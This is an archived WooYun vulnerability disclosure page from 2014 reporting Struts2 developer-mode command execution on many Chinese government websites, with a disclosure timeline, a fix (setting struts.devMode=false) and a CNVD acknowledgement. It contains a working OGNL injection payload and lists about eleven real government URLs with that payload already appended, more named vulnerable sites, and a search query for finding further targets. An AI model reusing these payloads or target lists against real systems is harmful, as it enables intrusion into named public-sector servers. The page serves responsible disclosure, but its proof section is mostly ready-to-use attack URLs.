当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-049979

漏洞标题:某些地方zf站点Struts2命令执行漏洞打包

相关厂商:cncert国家互联网应急中心

漏洞作者: VIP

提交时间:2014-01-28 10:54

修复时间:2014-03-14 10:54

公开时间:2014-03-14 10:54

漏洞类型:命令执行

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-01-28: 细节已通知厂商并且等待厂商处理中
2014-02-01: 厂商已经确认,细节仅向厂商公开
2014-02-11: 细节向核心白帽子及相关领域专家公开
2014-02-21: 细节向普通白帽子公开
2014-03-03: 细节向实习白帽子公开
2014-03-14: 细节向公众公开

简要描述:

开发者调试模式惹的祸

详细说明:

Struts2开发者模式开启情况下可以执行命令,如

?debug=command&expression=%23_memberAccess["allowStaticMethodAccess"]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23xman=@org.apache.struts2.ServletActionContext@getResponse(),%23xman.getWriter().println(%23req.getRealPath("/")),%23xman.getWriter().close()

漏洞证明:

以下是存在漏洞并可利用的

http://hdsfj.bjhd.gov.cn:8080/loginInAction.action?debug=command&expression=%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23xman=@org.apache.struts2.ServletActionContext@getResponse(),%23xman.getWriter().println(%23req.getRealPath(%22/%22)),%23xman.getWriter().close()
http://www.smetjhx.gov.cn/disp.jsp?debug=command&expression=%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23xman=@org.apache.struts2.ServletActionContext@getResponse(),%23xman.getWriter().println(%23req.getRealPath(%22/%22)),%23xman.getWriter().close()
http://jinrong.smetj.gov.cn/dispFP.action?debug=command&expression=%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23xman=@org.apache.struts2.ServletActionContext@getResponse(),%23xman.getWriter().println(%23req.getRealPath(%22/%22)),%23xman.getWriter().close()
http://www.jl.lm.gov.cn/renCaiGerenAction.do?debug=command&expression=%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23xman=@org.apache.struts2.ServletActionContext@getResponse(),%23xman.getWriter().println(%23req.getRealPath(%22/%22)),%23xman.getWriter().close()
http://www.smetjhx.gov.cn/sub.jsp?debug=command&expression=%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23xman=@org.apache.struts2.ServletActionContext@getResponse(),%23xman.getWriter().println(%23req.getRealPath(%22/%22)),%23xman.getWriter().close()
http://wz.st.gov.cn/stwz/voteOut_wap/voteOut!inputOutVote.action?debug=command&expression=%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23xman=@org.apache.struts2.ServletActionContext@getResponse(),%23xman.getWriter().println(%23req.getRealPath(%22/%22)),%23xman.getWriter().close()
http://www.jhjxw.gov.cn:90/report/loginAction!login.shtml?debug=command&expression=%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23xman=@org.apache.struts2.ServletActionContext@getResponse(),%23xman.getWriter().println(%23req.getRealPath(%22/%22)),%23xman.getWriter().close()
http://rsks.mwr.gov.cn/zcxxfw/xxfw/portal/yhzc!login.do?debug=command&expression=%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23xman=@org.apache.struts2.ServletActionContext@getResponse(),%23xman.getWriter().println(%23req.getRealPath(%22/%22)),%23xman.getWriter().close()
http://zjhlwjc.zjfda.gov.cn/dim_out/public/showMedicineSdaByDrugCode.action?debug=command&expression=%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23xman=@org.apache.struts2.ServletActionContext@getResponse(),%23xman.getWriter().println(%23req.getRealPath(%22/%22)),%23xman.getWriter().close()
http://www.zwhrss.gov.cn/zwhr/findThreeTrain_findTrainIntudy.action?debug=command&expression=%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23xman=@org.apache.struts2.ServletActionContext@getResponse(),%23xman.getWriter().println(%23req.getRealPath(%22/%22)),%23xman.getWriter().close()
http://ysq.hwcc.gov.cn/alarm?debug=command&expression=%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23xman=@org.apache.struts2.ServletActionContext@getResponse(),%23xman.getWriter().println(%23req.getRealPath(%22/%22)),%23xman.getWriter().close()


以下无回显,但开启了开发者模式,存在安全隐患

http://www3.bjxch.gov.cn/getItemDefineByitemtype.action
http://www.ahcz.gov.cn:8090/download2.do
http://mice.pudong.gov.cn:8080/page/activity_newsMore.action
http://www.gzgjj.gov.cn/cs/actions/public/clickStatisticsPublicAction$addClicks.action
http://wap.sz.gov.cn/admin/MDML!tableList.action
http://www.naggzy.gov.cn/upload!downCurFile.action
http://wsbs.jieyang.gov.cn/wsdt/showApply
http://m.wenzhou.gov.cn/secllist
http://www.naggzy.gov.cn/articleWeb!view.action
http://ggzy.yishui.gov.cn/index!index.action
http://jz.whlib.gov.cn/webs/survey_userSurvey.action


还有没有许多列举到的,可自行谷歌

Struts Problem Report site:gov.cn

排查

修复方案:

在WEB-INF/classes/struts.properties文件中加入下面的内容,将开发者模式关闭

struts.devMode=false

版权声明:转载请注明来源 VIP@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-02-01 22:49

厂商回复:

CNVD确认并复现所述情况,对于涉及的政府网站案例,已经转由CNCERT下发给所属多个分中心,涉及的水利部子站已经转由CNCERT直接通报水利部信息中心处置。

最新状态:

暂无